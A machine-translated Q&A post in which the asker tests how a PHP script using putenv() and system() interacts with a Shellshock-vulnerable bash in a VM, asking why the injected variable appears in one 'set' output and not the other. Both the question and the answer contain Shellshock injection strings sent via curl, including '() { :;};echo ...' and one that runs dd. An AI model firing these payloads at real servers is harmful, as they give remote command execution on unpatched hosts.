与Shell交互时的PHP行为



我正在尝试用bash-shell(4.2版)测试PHP交互。我的bash-shell没有针对shellshock进行修补(是的,我知道如何修补它;我在VM中进行测试;我更专注于PHP与shell的交互)。

我有一个简单的PHP程序,它从查询字符串中获取一个参数,通过putenv()将其添加到环境中,然后使用system()运行一个命令。脚本如下:

<?php
 function getParam() 
 {
     $arg = NULL;   
     if (isset($_GET["arg"]) && !empty($_GET["arg"])) 
     { 
         $arg = $_GET["arg"]; 
     } 
     return $arg; 
 } 
 $arg = getParam(); 
 putenv("ARG=$arg");
 system("set");
?>

您可以看到的system()使用set命令来打印shell变量。我第一次尝试使用以下内容:

curl http://localhost/myphp.php?arg=123

在输出中,我可以看到以下行:

ARG=123

本着震惊的精神,我改变了我的论点如下:

curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;"

参数基本设置为:

arg=() { echo hello; };

当我运行脚本时,我在集合的输出中看不到ARG

但后来我更改了卷曲请求如下:

curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;%20echo%20PID:%20;%20echo%20%24%24%20;%20echo%20Set:%20;%20set%20"

这一次,参数设置为:

arg=() { echo hello; }; echo PID:; echo $$; echo Set:; set

这一次,我仍然没有在system()的输出中看到ARG,但我确实看到了额外的输出,因为参数为:

PID:0
Set:
// Omitted some output
ARG () 
{ 
   echo hello
}

所以我的问题是,为什么我不在通过system()输出的set中看到参数ARG,而在通过参数输出的set中看到它?

编辑

重新表述这个问题以使其更清楚:在PHP代码中,我调用system(set)(最后一行)VS,并将set作为查询字符串的一部分传递。通过system()执行的集合在shell变量中不显示ARG的存在,而从查询字符串执行的set正在显示(尽管PID输出为0,所以必须考虑这一点来解释这一点)。

以下是完整的输出:http://pastebin.com/raw.php?i=WcBXgYAj

如果我将system(set)更改为system(env),我会看到输出:http://pastebin.com/raw.php?i=q1r6Z3Zi

而不是

arg=() { echo hello; };

试试这个

() { :;};echo Yes we can...

或者这个

%28%29%20%7B%20%3A%3B%7D%3Becho%20Yes%20we%20can...

或者介于之间

你可以尝试追踪一些东西:

(){ :;};dd if=/etc/hostname of=/tmp/testfile-$$-$RANDOM

最新更新